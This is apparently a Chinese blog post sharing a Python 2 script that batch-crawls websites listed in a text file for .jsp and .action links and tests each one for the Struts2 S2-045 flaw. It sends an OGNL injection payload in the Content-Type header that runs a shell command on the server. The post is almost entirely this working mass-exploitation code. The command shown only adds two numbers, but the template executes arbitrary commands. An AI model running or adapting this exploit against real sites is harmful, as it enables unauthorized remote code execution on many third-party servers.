【Python】批量爬取网站URL测试Struts2-045漏洞

1、概述都懒得写了。。。。

就是批量测试用的，什么工具里扣出来的POC，然后根据自己的理解写了个爬网站首页URL的代码。。。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import random
import httplib
import re
import os
import sys

#########################
##  作者：zzzzzhhhhhhh
##  Code功能
##    1、批量获取指定网站的URL
##    2、批量验证Struts2-045漏洞
##    BUG：121个左右根据网络状况会报错，清除已测试过的网址再测试就没啥问题。懵逼
###########################

# 出现ChunkedEncodingError问题，更改为HTTP 1.0
httplib.HTTPConnection._http_vsn = 10
httplib.HTTPConnection._http_vsn_str = 'HTTP/1.0'

# 存放内容
http_URL = []
http_website  = []

# 增加HTTP头部
def add_http(url):
    if "http://" not in url:
        url = 'http://' + url
    return url

# 爬行首页URL
def curl_Site_URL(url):
    url = add_http(url)
    website = url  # 存储一下域名，路径碰路径
    # 获取网页内容
    try:
        r = requests.get(url)
    except requests.RequestException as e:
        print "error website:"+url
        return False
    data = r.text
    # 利用正则查找所有连接
    link_list = re.findall(r"(?<=href=\").+?(?=\")|(?<=href=\').+?(?=\')", data)
    for url in link_list:
        filename = os.path.basename(url)  # 取出文件名
        (shotname, extension) = os.path.splitext(filename)  # 取出文件后缀
        if ((extension == ".jsp") or (extension == ".action")):  # 指定后缀检测
            if 'http://' not in url:  # 检测是否有HTTP://
                url = website + url
                http_URL.append(url)    # 读取到列表里或者写入文件中
            else:
                http_URL.append(url)

## 2、验证Stuts2漏洞
def poc(url):
    url = add_http(url)
    try:
        a = random.randint(10000000, 20000000)
        b = random.randint(10000000, 20000000)
        c = a + b
        win = 'set /a ' + str(a) + ' + ' + str(b)
        linux = 'expr ' + str(a) + ' + ' + str(b)
        header = dict()
        header["User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
        header["Content-Type"] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#iswin?(#cmd='" + win + "'):(#cmd='" + linux + "')).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
        r = requests.post(url, headers=header, timeout=5)
        if str(c) in r.text:
            return '[S2-045 vul]'+url
        else:
            return False
    except Exception:
        return False

# 读取文件函数
def read_file(file_path):
    # 判断文件路径是否存在，如果不存在直接退出，否则读取文件内容
    if not os.path.exists(file_path):
        print 'Please confirm correct filepath !'
        sys.exit(0)
    else:
        with open(file_path, 'r') as source:
            for line in source:
                http_website.append(line.rstrip('\r\n').rstrip('\n'))
    # 批量读取
    sum = 0
    for website in http_website:
        print website
        curl_Site_URL(website)

    # 批量验证
    for d in http_URL:
        result = poc(d)
        if result != False:
            print result

if __name__ == '__main__':
    file_str=raw_input('Input file IP.txt filepath eg:D:\\\\test.txt \n')
    read_file(file_str)
    ## C:\\Users\\AT\\Desktop\\domain.txt

代码特效

txt里保存网站地址就可以了，爬虫还需要后续学习优化、添加功能。。。